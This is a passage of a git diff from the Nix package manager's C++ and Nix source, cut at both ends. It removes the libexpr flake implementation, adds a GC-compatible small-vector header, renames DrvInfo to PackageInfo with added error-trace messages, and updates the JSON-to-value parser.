rootSrc - else fetchTree (node.info or {} // removeAttrs node.locked ["dir"]); - - subdir = if key == lockFile.root then rootSubdir else node.locked.dir or ""; - - flake = import (sourceInfo + (if subdir != "" then "/" else "") + subdir + "/flake.nix"); - - inputs = builtins.mapAttrs - (inputName: inputSpec: allNodes.${resolveInput inputSpec}) - (node.inputs or {}); - - # Resolve a input spec into a node name. An input spec is - # either a node name, or a 'follows' path from the root - # node. - resolveInput = inputSpec: - if builtins.isList inputSpec - then getInputByPath lockFile.root inputSpec - else inputSpec; - - # Follow an input path (e.g. ["dwarffs" "nixpkgs"]) from the - # root node, returning the final node. - getInputByPath = nodeName: path: - if path == [] - then nodeName - else - getInputByPath - # Since this could be a 'follows' input, call resolveInput. - (resolveInput lockFile.nodes.${nodeName}.inputs.${builtins.head path}) - (builtins.tail path); - - outputs = flake.outputs (inputs // { self = result; }); - - result = outputs // sourceInfo // { inherit inputs; inherit outputs; inherit sourceInfo; _type = "flake"; }; - in - if node.flake or true then - assert builtins.isFunction flake.outputs; - result - else - sourceInfo - ) - lockFile.nodes; - -in allNodes.${lockFile.root} diff --git a/src/libexpr/flake/flake.hh b/src/libexpr/flake/flake.hh deleted file mode 100644 index 10301d8aa..000000000 --- a/src/libexpr/flake/flake.hh +++ /dev/null @@ -1,148 +0,0 @@ -#pragma once - -#include "types.hh" -#include "flakeref.hh" -#include "lockfile.hh" -#include "value.hh" - -namespace nix { - -class EvalState; - -namespace fetchers { struct Tree; } - -namespace flake { - -struct FlakeInput; - -typedef std::map FlakeInputs; - -/* FlakeInput is the 'Flake'-level parsed form of the "input" entries - * in the flake file. - * - * A FlakeInput is normally constructed by the 'parseFlakeInput' - * function which parses the input specification in the '.flake' file - * to create a 'FlakeRef' (a fetcher, the fetcher-specific - * representation of the input specification, and possibly the fetched - * local store path result) and then creating this FlakeInput to hold - * that FlakeRef, along with anything that might override that - * FlakeRef (like command-line overrides or "follows" specifications). - * - * A FlakeInput is also sometimes constructed directly from a FlakeRef - * instead of starting at the flake-file input specification - * (e.g. overrides, follows, and implicit inputs). - * - * A FlakeInput will usually have one of either "ref" or "follows" - * set. If not otherwise specified, a "ref" will be generated to a - * 'type="indirect"' flake, which is treated as simply the name of a - * flake to be resolved in the registry. - */ - -struct FlakeInput -{ - std::optional ref; - bool isFlake = true; // true = process flake to get outputs, false = (fetched) static source path - std::optional follows; - FlakeInputs overrides; -}; - -struct ConfigFile -{ - using ConfigValue = std::variant, std::vector>; - - std::map settings; - - void apply(); -}; - -/* The contents of a flake.nix file. */ -struct Flake -{ - FlakeRef originalRef; // the original flake specification (by the user) - FlakeRef resolvedRef; // registry references and caching resolved to the specific underlying flake - FlakeRef lockedRef; // the specific local store result of invoking the fetcher - bool forceDirty = false; // pretend that 'lockedRef' is dirty - std::optional description; - std::shared_ptr sourceInfo; - FlakeInputs inputs; - ConfigFile config; // 'nixConfig' attribute - ~Flake(); -}; - -Flake getFlake(EvalState & state, const FlakeRef & flakeRef, bool allowLookup); - -/* Fingerprint of a locked flake; used as a cache key. */ -typedef Hash Fingerprint; - -struct LockedFlake -{ - Flake flake; - LockFile lockFile; - - Fingerprint getFingerprint() const; -}; - -struct LockFlags -{ - /* Whether to ignore the existing lock file, creating a new one - from scratch. */ - bool recreateLockFile = false; - - /* Whether to update the lock file at all. If set to false, if any - change to the lock file is needed (e.g. when an input has been - added to flake.nix), you get a fatal error. */ - bool updateLockFile = true; - - /* Whether to write the lock file to disk. If set to true, if the - any changes to the lock file are needed and the flake is not - writable (i.e. is not a local Git working tree or similar), you - get a fatal error. If set to false, Nix will use the modified - lock file in memory only, without writing it to disk. */ - bool writeLockFile = true; - - /* Whether to use the registries to lookup indirect flake - references like 'nixpkgs'. */ - std::optional useRegistries = std::nullopt; - - /* Whether to apply flake's nixConfig attribute to the configuration */ - - bool applyNixConfig = false; - - /* Whether unlocked flake references (i.e. those without a Git - revision or similar) without a corresponding lock are - allowed. Unlocked flake references with a lock are always - allowed. */ - bool allowUnlocked = true; - - /* Whether to commit changes to flake.lock. */ - bool commitLockFile = false; - - /* Flake inputs to be overridden. */ - std::map inputOverrides; - - /* Flake inputs to be updated. This means that any existing lock - for those inputs will be ignored. */ - std::set inputUpdates; -}; - -LockedFlake lockFlake( - EvalState & state, - const FlakeRef & flakeRef, - const LockFlags & lockFlags); - -void callFlake( - EvalState & state, - const LockedFlake & lockedFlake, - Value & v); - -} - -void emitTreeAttrs( - EvalState & state, - const fetchers::Tree & tree, - const fetchers::Input & input, - Value & v, - bool emptyRevFallback = false, - bool forceDirty = false); - -} diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc deleted file mode 100644 index eede493f8..000000000 --- a/src/libexpr/flake/flakeref.cc +++ /dev/null @@ -1,252 +0,0 @@ -#include "flakeref.hh" -#include "store-api.hh" -#include "url.hh" -#include "url-parts.hh" -#include "fetchers.hh" -#include "registry.hh" - -namespace nix { - -#if 0 -// 'dir' path elements cannot start with a '.'. We also reject -// potentially dangerous characters like ';'. -const static std::string subDirElemRegex = "(?:[a-zA-Z0-9_-]+[a-zA-Z0-9._-]*)"; -const static std::string subDirRegex = subDirElemRegex + "(?:/" + subDirElemRegex + ")*"; -#endif - -std::string FlakeRef::to_string() const -{ - std::map extraQuery; - if (subdir != "") - extraQuery.insert_or_assign("dir", subdir); - return input.toURLString(extraQuery); -} - -fetchers::Attrs FlakeRef::toAttrs() const -{ - auto attrs = input.toAttrs(); - if (subdir != "") - attrs.emplace("dir", subdir); - return attrs; -} - -std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef) -{ - str << flakeRef.to_string(); - return str; -} - -bool FlakeRef::operator ==(const FlakeRef & other) const -{ - return input == other.input && subdir == other.subdir; -} - -FlakeRef FlakeRef::resolve(ref store) const -{ - auto [input2, extraAttrs] = lookupInRegistries(store, input); - return FlakeRef(std::move(input2), fetchers::maybeGetStrAttr(extraAttrs, "dir").value_or(subdir)); -} - -FlakeRef parseFlakeRef( - const std::string & url, - const std::optional & baseDir, - bool allowMissing, - bool isFlake) -{ - auto [flakeRef, fragment] = parseFlakeRefWithFragment(url, baseDir, allowMissing, isFlake); - if (fragment != "") - throw Error("unexpected fragment '%s' in flake reference '%s'", fragment, url); - return flakeRef; -} - -std::optional maybeParseFlakeRef( - const std::string & url, const std::optional & baseDir) -{ - try { - return parseFlakeRef(url, baseDir); - } catch (Error &) { - return {}; - } -} - -std::pair parseFlakeRefWithFragment( - const std::string & url, - const std::optional & baseDir, - bool allowMissing, - bool isFlake) -{ - using namespace fetchers; - - static std::string fnRegex = "[0-9a-zA-Z-._~!$&'\"()*+,;=]+"; - - static std::regex pathUrlRegex( - "(/?" + fnRegex + "(?:/" + fnRegex + ")*/?)" - + "(?:\\?(" + queryRegex + "))?" - + "(?:#(" + queryRegex + "))?", - std::regex::ECMAScript); - - static std::regex flakeRegex( - "((" + flakeIdRegexS + ")(?:/(?:" + refAndOrRevRegex + "))?)" - + "(?:#(" + queryRegex + "))?", - std::regex::ECMAScript); - - std::smatch match; - - /* Check if 'url' is a flake ID. This is an abbreviated syntax for - 'flake:?ref=&rev='. */ - - if (std::regex_match(url, match, flakeRegex)) { - auto parsedURL = ParsedURL{ - .url = url, - .base = "flake:" + match.str(1), - .scheme = "flake", - .authority = "", - .path = match[1], - }; - - return std::make_pair( - FlakeRef(Input::fromURL(parsedURL), ""), - percentDecode(match.str(6))); - } - - else if (std::regex_match(url, match, pathUrlRegex)) { - std::string path = match[1]; - std::string fragment = percentDecode(match.str(3)); - - if (baseDir) { - /* Check if 'url' is a path (either absolute or relative - to 'baseDir'). If so, search upward to the root of the - repo (i.e. the directory containing .git). */ - - path = absPath(path, baseDir); - - if (isFlake) { - - if (!allowMissing && !pathExists(path + "/flake.nix")){ - notice("path '%s' does not contain a 'flake.nix', searching up",path); - - // Save device to detect filesystem boundary - dev_t device = lstat(path).st_dev; - bool found = false; - while (path != "/") { - if (pathExists(path + "/flake.nix")) { - found = true; - break; - } else if (pathExists(path + "/.git")) - throw Error("path '%s' is not part of a flake (neither it nor its parent directories contain a 'flake.nix' file)", path); - else { - if (lstat(path).st_dev != device) - throw Error("unable to find a flake before encountering filesystem boundary at '%s'", path); - } - path = dirOf(path); - } - if (!found) - throw BadURL("could not find a flake.nix file"); - } - - if (!S_ISDIR(lstat(path).st_mode)) - throw BadURL("path '%s' is not a flake (because it's not a directory)", path); - - if (!allowMissing && !pathExists(path + "/flake.nix")) - throw BadURL("path '%s' is not a flake (because it doesn't contain a 'flake.nix' file)", path); - - auto flakeRoot = path; - std::string subdir; - - while (flakeRoot != "/") { - if (pathExists(flakeRoot + "/.git")) { - auto base = std::string("git+file://") + flakeRoot; - - auto parsedURL = ParsedURL{ - .url = base, // FIXME - .base = base, - .scheme = "git+file", - .authority = "", - .path = flakeRoot, - .query = decodeQuery(match[2]), - }; - - if (subdir != "") { - if (parsedURL.query.count("dir")) - throw Error("flake URL '%s' has an inconsistent 'dir' parameter", url); - parsedURL.query.insert_or_assign("dir", subdir); - } - - if (pathExists(flakeRoot + "/.git/shallow")) - parsedURL.query.insert_or_assign("shallow", "1"); - - return std::make_pair( - FlakeRef(Input::fromURL(parsedURL), getOr(parsedURL.query, "dir", "")), - fragment); - } - - subdir = std::string(baseNameOf(flakeRoot)) + (subdir.empty() ? "" : "/" + subdir); - flakeRoot = dirOf(flakeRoot); - } - } - - } else { - if (!hasPrefix(path, "/")) - throw BadURL("flake reference '%s' is not an absolute path", url); - auto query = decodeQuery(match[2]); - path = canonPath(path + "/" + getOr(query, "dir", "")); - } - - fetchers::Attrs attrs; - attrs.insert_or_assign("type", "path"); - attrs.insert_or_assign("path", path); - - return std::make_pair(FlakeRef(Input::fromAttrs(std::move(attrs)), ""), fragment); - } - - else { - auto parsedURL = parseURL(url); - std::string fragment; - std::swap(fragment, parsedURL.fragment); - - auto input = Input::fromURL(parsedURL); - input.parent = baseDir; - - return std::make_pair( - FlakeRef(std::move(input), getOr(parsedURL.query, "dir", "")), - fragment); - } -} - -std::optional> maybeParseFlakeRefWithFragment( - const std::string & url, const std::optional & baseDir) -{ - try { - return parseFlakeRefWithFragment(url, baseDir); - } catch (Error & e) { - return {}; - } -} - -FlakeRef FlakeRef::fromAttrs(const fetchers::Attrs & attrs) -{ - auto attrs2(attrs); - attrs2.erase("dir"); - return FlakeRef( - fetchers::Input::fromAttrs(std::move(attrs2)), - fetchers::maybeGetStrAttr(attrs, "dir").value_or("")); -} - -std::pair FlakeRef::fetchTree(ref store) const -{ - auto [tree, lockedInput] = input.fetch(store); - return {std::move(tree), FlakeRef(std::move(lockedInput), subdir)}; -} - -std::tuple parseFlakeRefWithFragmentAndOutputsSpec( - const std::string & url, - const std::optional & baseDir, - bool allowMissing, - bool isFlake) -{ - auto [prefix, outputsSpec] = parseOutputsSpec(url); - auto [flakeRef, fragment] = parseFlakeRefWithFragment(prefix, baseDir, allowMissing, isFlake); - return {std::move(flakeRef), fragment, outputsSpec}; -} - -} diff --git a/src/libexpr/function-trace.hh b/src/libexpr/function-trace.hh index e9a2526bd..91439b0aa 100644 --- a/src/libexpr/function-trace.hh +++ b/src/libexpr/function-trace.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "eval.hh" diff --git a/src/libexpr/gc-small-vector.hh b/src/libexpr/gc-small-vector.hh new file mode 100644 index 000000000..7f4f08fc7 --- /dev/null +++ b/src/libexpr/gc-small-vector.hh @@ -0,0 +1,42 @@ +#pragma once + +#include + +#if HAVE_BOEHMGC + +#include +#include +#include + +#endif + +namespace nix { + +struct Value; + +/** + * A GC compatible vector that may used a reserved portion of `nItems` on the stack instead of allocating on the heap. + */ +#if HAVE_BOEHMGC +template +using SmallVector = boost::container::small_vector>; +#else +template +using SmallVector = boost::container::small_vector; +#endif + +/** + * A vector of value pointers. See `SmallVector`. + */ +template +using SmallValueVector = SmallVector; + +/** + * A vector of values that must not be referenced after the vector is destroyed. + * + * See also `SmallValueVector`. + */ +template +using SmallTemporaryValueVector = SmallVector; + +} \ No newline at end of file diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index 5ad5d1fd4..20963ec91 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -1,5 +1,4 @@ #include "get-drvs.hh" -#include "util.hh" #include "eval-inline.hh" #include "derivations.hh" #include "store-api.hh" @@ -12,13 +11,13 @@ namespace nix { -DrvInfo::DrvInfo(EvalState & state, std::string attrPath, Bindings * attrs) +PackageInfo::PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs) : state(&state), attrs(attrs), attrPath(std::move(attrPath)) { } -DrvInfo::DrvInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs) +PackageInfo::PackageInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs) : state(&state), attrs(nullptr), attrPath("") { auto [drvPath, selectedOutputs] = parsePathWithOutputs(*store, drvPathWithOutputs); @@ -46,42 +45,48 @@ DrvInfo::DrvInfo(EvalState & state, ref store, const std::string & drvPat } -std::string DrvInfo::queryName() const +std::string PackageInfo::queryName() const { if (name == "" && attrs) { auto i = attrs->find(state->sName); - if (i == attrs->end()) throw TypeError("derivation name missing"); - name = state->forceStringNoCtx(*i->value); + if (i == attrs->end()) state->error("derivation name missing").debugThrow(); + name = state->forceStringNoCtx(*i->value, noPos, "while evaluating the 'name' attribute of a derivation"); } return name; } -std::string DrvInfo::querySystem() const +std::string PackageInfo::querySystem() const { if (system == "" && attrs) { auto i = attrs->find(state->sSystem); - system = i == attrs->end() ? "unknown" : state->forceStringNoCtx(*i->value, i->pos); + system = i == attrs->end() ? "unknown" : state->forceStringNoCtx(*i->value, i->pos, "while evaluating the 'system' attribute of a derivation"); } return system; } -std::optional DrvInfo::queryDrvPath() const +std::optional PackageInfo::queryDrvPath() const { if (!drvPath && attrs) { - Bindings::iterator i = attrs->find(state->sDrvPath); - PathSet context; - if (i == attrs->end()) + if (auto i = attrs->get(state->sDrvPath)) { + NixStringContext context; + auto found = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation"); + try { + found.requireDerivation(); + } catch (Error & e) { + e.addTrace(state->positions[i->pos], "while evaluating the 'drvPath' attribute of a derivation"); + throw; + } + drvPath = {std::move(found)}; + } else drvPath = {std::nullopt}; - else - drvPath = {state->coerceToStorePath(i->pos, *i->value, context)}; } return drvPath.value_or(std::nullopt); } -StorePath DrvInfo::requireDrvPath() const +StorePath PackageInfo::requireDrvPath() const { if (auto drvPath = queryDrvPath()) return *drvPath; @@ -89,13 +94,13 @@ StorePath DrvInfo::requireDrvPath() const } -StorePath DrvInfo::queryOutPath() const +StorePath PackageInfo::queryOutPath() const { if (!outPath && attrs) { - Bindings::iterator i = attrs->find(state->sOutPath); - PathSet context; + auto i = attrs->find(state->sOutPath); + NixStringContext context; if (i != attrs->end()) - outPath = state->coerceToStorePath(i->pos, *i->value, context); + outPath = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the output path of a derivation"); } if (!outPath) throw UnimplementedError("CA derivations are not yet supported"); @@ -103,29 +108,29 @@ StorePath DrvInfo::queryOutPath() const } -DrvInfo::Outputs DrvInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall) +PackageInfo::Outputs PackageInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall) { if (outputs.empty()) { /* Get the ‘outputs’ list. */ - Bindings::iterator i; - if (attrs && (i = attrs->find(state->sOutputs)) != attrs->end()) { - state->forceList(*i->value, i->pos); + const Attr * i; + if (attrs && (i = attrs->get(state->sOutputs))) { + state->forceList(*i->value, i->pos, "while evaluating the 'outputs' attribute of a derivation"); /* For each output... */ for (auto elem : i->value->listItems()) { - std::string output(state->forceStringNoCtx(*elem, i->pos)); + std::string output(state->forceStringNoCtx(*elem, i->pos, "while evaluating the name of an output of a derivation")); if (withPaths) { /* Evaluate the corresponding set. */ - Bindings::iterator out = attrs->find(state->symbols.create(output)); - if (out == attrs->end()) continue; // FIXME: throw error? - state->forceAttrs(*out->value, i->pos); + auto out = attrs->get(state->symbols.create(output)); + if (!out) continue; // FIXME: throw error? + state->forceAttrs(*out->value, i->pos, "while evaluating an output of a derivation"); /* And evaluate its ‘outPath’ attribute. */ - Bindings::iterator outPath = out->value->attrs->find(state->sOutPath); - if (outPath == out->value->attrs->end()) continue; // FIXME: throw error? - PathSet context; - outputs.emplace(output, state->coerceToStorePath(outPath->pos, *outPath->value, context)); + auto outPath = out->value->attrs()->get(state->sOutPath); + if (!outPath) continue; // FIXME: throw error? + NixStringContext context; + outputs.emplace(output, state->coerceToStorePath(outPath->pos, *outPath->value, context, "while evaluating an output path of a derivation")); } else outputs.emplace(output, std::nullopt); } @@ -136,8 +141,8 @@ DrvInfo::Outputs DrvInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall if (!onlyOutputsToInstall || !attrs) return outputs; - Bindings::iterator i; - if (attrs && (i = attrs->find(state->sOutputSpecified)) != attrs->end() && state->forceBool(*i->value, i->pos)) { + const Attr * i; + if (attrs && (i = attrs->get(state->sOutputSpecified)) && state->forceBool(*i->value, i->pos, "while evaluating the 'outputSpecified' attribute of a derivation")) { Outputs result; auto out = outputs.find(queryOutputName()); if (out == outputs.end()) @@ -156,7 +161,7 @@ DrvInfo::Outputs DrvInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall Outputs result; for (auto elem : outTI->listItems()) { if (elem->type() != nString) throw errMsg; - auto out = outputs.find(elem->string.s); + auto out = outputs.find(elem->c_str()); if (out == outputs.end()) throw errMsg; result.insert(*out); } @@ -165,29 +170,29 @@ DrvInfo::Outputs DrvInfo::queryOutputs(bool withPaths, bool onlyOutputsToInstall } -std::string DrvInfo::queryOutputName() const +std::string PackageInfo::queryOutputName() const { if (outputName == "" && attrs) { - Bindings::iterator i = attrs->find(state->sOutputName); - outputName = i != attrs->end() ? state->forceStringNoCtx(*i->value) : ""; + auto i = attrs->get(state->sOutputName); + outputName = i ? state->forceStringNoCtx(*i->value, noPos, "while evaluating the output name of a derivation") : ""; } return outputName; } -Bindings * DrvInfo::getMeta() +const Bindings * PackageInfo::getMeta() { if (meta) return meta; if (!attrs) return 0; - Bindings::iterator a = attrs->find(state->sMeta); - if (a == attrs->end()) return 0; - state->forceAttrs(*a->value, a->pos); - meta = a->value->attrs; + auto a = attrs->get(state->sMeta); + if (!a) return 0; + state->forceAttrs(*a->value, a->pos, "while evaluating the 'meta' attribute of a derivation"); + meta = a->value->attrs(); return meta; } -StringSet DrvInfo::queryMetaNames() +StringSet PackageInfo::queryMetaNames() { StringSet res; if (!getMeta()) return res; @@ -197,18 +202,17 @@ StringSet DrvInfo::queryMetaNames() } -bool DrvInfo::checkMeta(Value & v) +bool PackageInfo::checkMeta(Value & v) { - state->forceValue(v, [&]() { return v.determinePos(noPos); }); + state->forceValue(v, v.determinePos(noPos)); if (v.type() == nList) { for (auto elem : v.listItems()) if (!checkMeta(*elem)) return false; return true; } else if (v.type() == nAttrs) { - Bindings::iterator i = v.attrs->find(state->sOutPath); - if (i != v.attrs->end()) return false; - for (auto & i : *v.attrs) + if (v.attrs()->get(state->sOutPath)) return false; + for (auto & i : *v.attrs()) if (!checkMeta(*i.value)) return false; return true; } @@ -217,68 +221,68 @@ bool DrvInfo::checkMeta(Value & v) } -Value * DrvInfo::queryMeta(const std::string & name) +Value * PackageInfo::queryMeta(const std::string & name) { if (!getMeta()) return 0; - Bindings::iterator a = meta->find(state->symbols.create(name)); - if (a == meta->end() || !checkMeta(*a->value)) return 0; + auto a = meta->get(state->symbols.create(name)); + if (!a || !checkMeta(*a->value)) return 0; return a->value; } -std::string DrvInfo::queryMetaString(const std::string & name) +std::string PackageInfo::queryMetaString(const std::string & name) { Value * v = queryMeta(name); if (!v || v->type() != nString) return ""; - return v->string.s; + return v->c_str(); } -NixInt DrvInfo::queryMetaInt(const std::string & name, NixInt def) +NixInt PackageInfo::queryMetaInt(const std::string & name, NixInt def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nInt) return v->integer; + if (v->type() == nInt) return v->integer(); if (v->type() == nString) { /* Backwards compatibility with before we had support for integer meta fields. */ - if (auto n = string2Int(v->string.s)) - return *n; + if (auto n = string2Int(v->c_str())) + return NixInt{*n}; } return def; } -NixFloat DrvInfo::queryMetaFloat(const std::string & name, NixFloat def) +NixFloat PackageInfo::queryMetaFloat(const std::string & name, NixFloat def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nFloat) return v->fpoint; + if (v->type() == nFloat) return v->fpoint(); if (v->type() == nString) { /* Backwards compatibility with before we had support for float meta fields. */ - if (auto n = string2Float(v->string.s)) + if (auto n = string2Float(v->c_str())) return *n; } return def; } -bool DrvInfo::queryMetaBool(const std::string & name, bool def) +bool PackageInfo::queryMetaBool(const std::string & name, bool def) { Value * v = queryMeta(name); if (!v) return def; - if (v->type() == nBool) return v->boolean; + if (v->type() == nBool) return v->boolean(); if (v->type() == nString) { /* Backwards compatibility with before we had support for Boolean meta fields. */ - if (strcmp(v->string.s, "true") == 0) return true; - if (strcmp(v->string.s, "false") == 0) return false; + if (v->string_view() == "true") return true; + if (v->string_view() == "false") return false; } return def; } -void DrvInfo::setMeta(const std::string & name, Value * v) +void PackageInfo::setMeta(const std::string & name, Value * v) { getMeta(); auto attrs = state->buildBindings(1 + (meta ? meta->size() : 0)); @@ -293,7 +297,7 @@ void DrvInfo::setMeta(const std::string & name, Value * v) /* Cache for already considered attrsets. */ -typedef std::set Done; +typedef std::set Done; /* Evaluate value `v'. If it evaluates to a set of type `derivation', @@ -301,18 +305,18 @@ typedef std::set Done; The result boolean indicates whether it makes sense for the caller to recursively search for derivations in `v'. */ static bool getDerivation(EvalState & state, Value & v, - const std::string & attrPath, DrvInfos & drvs, Done & done, + const std::string & attrPath, PackageInfos & drvs, Done & done, bool ignoreAssertionFailures) { try { - state.forceValue(v, [&]() { return v.determinePos(noPos); }); + state.forceValue(v, v.determinePos(noPos)); if (!state.isDerivation(v)) return true; /* Remove spurious duplicates (e.g., a set like `rec { x = derivation {...}; y = x;}'. */ - if (!done.insert(v.attrs).second) return false; + if (!done.insert(v.attrs()).second) return false; - DrvInfo drv(state, attrPath, v.attrs); + PackageInfo drv(state, attrPath, v.attrs()); drv.queryName(); @@ -327,20 +331,20 @@ static bool getDerivation(EvalState & state, Value & v, } -std::optional getDerivation(EvalState & state, Value & v, +std::optional getDerivation(EvalState & state, Value & v, bool ignoreAssertionFailures) { Done done; - DrvInfos drvs; + PackageInfos drvs; getDerivation(state, v, "", drvs, done, ignoreAssertionFailures); if (drvs.size() != 1) return {}; return std::move(drvs.front()); } -static std::string addToPath(const std::string & s1, const std::string & s2) +static std::string addToPath(const std::string & s1, std::string_view s2) { - return s1.empty() ? s2 : s1 + "." + s2; + return s1.empty() ? std::string(s2) : s1 + "." + s2; } @@ -349,7 +353,7 @@ static std::regex attrRegex("[A-Za-z_][A-Za-z0-9-_+]*"); static void getDerivations(EvalState & state, Value & vIn, const std::string & pathPrefix, Bindings & autoArgs, - DrvInfos & drvs, Done & done, + PackageInfos & drvs, Done & done, bool ignoreAssertionFailures) { Value v; @@ -362,29 +366,34 @@ static void getDerivations(EvalState & state, Value & vIn, /* !!! undocumented hackery to support combining channels in nix-env.cc. */ - bool combineChannels = v.attrs->find(state.symbols.create("_combineChannels")) != v.attrs->end(); + bool combineChannels = v.attrs()->get(state.symbols.create("_combineChannels")); /* Consider the attributes in sorted order to get more deterministic behaviour in nix-env operations (e.g. when there are names clashes between derivations, the derivation bound to the attribute with the "lower" name should take precedence). */ - for (auto & i : v.attrs->lexicographicOrder(state.symbols)) { - debug("evaluating attribute '%1%'", state.symbols[i->name]); - if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex)) - continue; - std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]); - if (combineChannels) - getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); - else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) { - /* If the value of this attribute is itself a set, - should we recurse into it? => Only if it has a - `recurseForDerivations = true' attribute. */ - if (i->value->type() == nAttrs) { - Bindings::iterator j = i->value->attrs->find(state.sRecurseForDerivations); - if (j != i->value->attrs->end() && state.forceBool(*j->value, j->pos)) - getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + for (auto & i : v.attrs()->lexicographicOrder(state.symbols)) { + try { + debug("evaluating attribute '%1%'", state.symbols[i->name]); + if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex)) + continue; + std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]); + if (combineChannels) + getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) { + /* If the value of this attribute is itself a set, + should we recurse into it? => Only if it has a + `recurseForDerivations = true' attribute. */ + if (i->value->type() == nAttrs) { + auto j = i->value->attrs()->get(state.sRecurseForDerivations); + if (j && state.forceBool(*j->value, j->pos, "while evaluating the attribute `recurseForDerivations`")) + getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures); + } } + } catch (Error & e) { + e.addTrace(state.positions[i->pos], "while evaluating the attribute '%s'", state.symbols[i->name]); + throw; } } } @@ -397,12 +406,13 @@ static void getDerivations(EvalState & state, Value & vIn, } } - else throw TypeError("expression does not evaluate to a derivation (or a set or list of those)"); + else + state.error("expression does not evaluate to a derivation (or a set or list of those)").debugThrow(); } void getDerivations(EvalState & state, Value & v, const std::string & pathPrefix, - Bindings & autoArgs, DrvInfos & drvs, bool ignoreAssertionFailures) + Bindings & autoArgs, PackageInfos & drvs, bool ignoreAssertionFailures) { Done done; getDerivations(state, v, pathPrefix, autoArgs, drvs, done, ignoreAssertionFailures); diff --git a/src/libexpr/get-drvs.hh b/src/libexpr/get-drvs.hh index bbd2d3c47..db3eedb05 100644 --- a/src/libexpr/get-drvs.hh +++ b/src/libexpr/get-drvs.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "eval.hh" #include "path.hh" @@ -9,8 +10,10 @@ namespace nix { - -struct DrvInfo +/** + * A "parsed" package attribute set. + */ +struct PackageInfo { public: typedef std::map> Outputs; @@ -25,20 +28,26 @@ private: mutable std::string outputName; Outputs outputs; - bool failed = false; // set if we get an AssertionError + /** + * Set if we get an AssertionError + */ + bool failed = false; - Bindings * attrs = nullptr, * meta = nullptr; + const Bindings * attrs = nullptr, * meta = nullptr; - Bindings * getMeta(); + const Bindings * getMeta(); bool checkMeta(Value & v); public: - std::string attrPath; /* path towards the derivation */ + /** + * path towards the derivation + */ + std::string attrPath; - DrvInfo(EvalState & state) : state(&state) { }; - DrvInfo(EvalState & state, std::string attrPath, Bindings * attrs); - DrvInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs); + PackageInfo(EvalState & state) : state(&state) { }; + PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs); + PackageInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs); std::string queryName() const; std::string querySystem() const; @@ -46,8 +55,10 @@ public: StorePath requireDrvPath() const; StorePath queryOutPath() const; std::string queryOutputName() const; - /** Return the unordered map of output names to (optional) output paths. - * The "outputs to install" are determined by `meta.outputsToInstall`. */ + /** + * Return the unordered map of output names to (optional) output paths. + * The "outputs to install" are determined by `meta.outputsToInstall`. + */ Outputs queryOutputs(bool withPaths = true, bool onlyOutputsToInstall = false); StringSet queryMetaNames(); @@ -73,19 +84,21 @@ public: #if HAVE_BOEHMGC -typedef std::list> DrvInfos; +typedef std::list> PackageInfos; #else -typedef std::list DrvInfos; +typedef std::list PackageInfos; #endif -/* If value `v' denotes a derivation, return a DrvInfo object - describing it. Otherwise return nothing. */ -std::optional getDerivation(EvalState & state, +/** + * If value `v` denotes a derivation, return a PackageInfo object + * describing it. Otherwise return nothing. + */ +std::optional getDerivation(EvalState & state, Value & v, bool ignoreAssertionFailures); void getDerivations(EvalState & state, Value & v, const std::string & pathPrefix, - Bindings & autoArgs, DrvInfos & drvs, + Bindings & autoArgs, PackageInfos & drvs, bool ignoreAssertionFailures); diff --git a/src/libexpr/json-to-value.cc b/src/libexpr/json-to-value.cc index 99a475ff9..9ac56541a 100644 --- a/src/libexpr/json-to-value.cc +++ b/src/libexpr/json-to-value.cc @@ -1,5 +1,8 @@ #include "json-to-value.hh" +#include "value.hh" +#include "eval.hh" +#include #include #include @@ -40,7 +43,7 @@ class JSONSax : nlohmann::json_sax { auto attrs2 = state.buildBindings(attrs.size()); for (auto & i : attrs) attrs2.insert(i.first, i.second); - parent->value(state).mkAttrs(attrs2.alreadySorted()); + parent->value(state).mkAttrs(attrs2); return std::move(parent); } void add() override { v = nullptr; } @@ -55,11 +58,10 @@ class JSONSax : nlohmann::json_sax { ValueVector values; std::unique_ptr resolve(EvalState & state) override { - Value & v = parent->value(state); - state.mkList(v, values.size()); - for (size_t n = 0; n < values.size(); ++n) { - v.listElems()[n] = values[n]; - } + auto list = state.buildList(values.size()); + for (const auto & [n, v2] : enumerate(list)) + v2 = values[n]; + parent->value(state).mkList(list); return std::move(parent); } void add() override { @@ -79,42 +81,46 @@ class JSONSax : nlohmann::json_sax { public: JSONSax(EvalState & state, Value & v) : state(state), rs(new JSONState(&v)) {}; - bool null() + bool null() override { rs->value(state).mkNull(); rs->add(); return true; } - bool boolean(bool val) + bool boolean(bool val) override { rs->value(state).mkBool(val); rs->add(); return true; } - bool number_integer(number_integer_t val) + bool number_integer(number_integer_t val) override { rs->value(state).mkInt(val); rs->add(); return true; } - bool number_unsigned(number_unsigned_t val) + bool 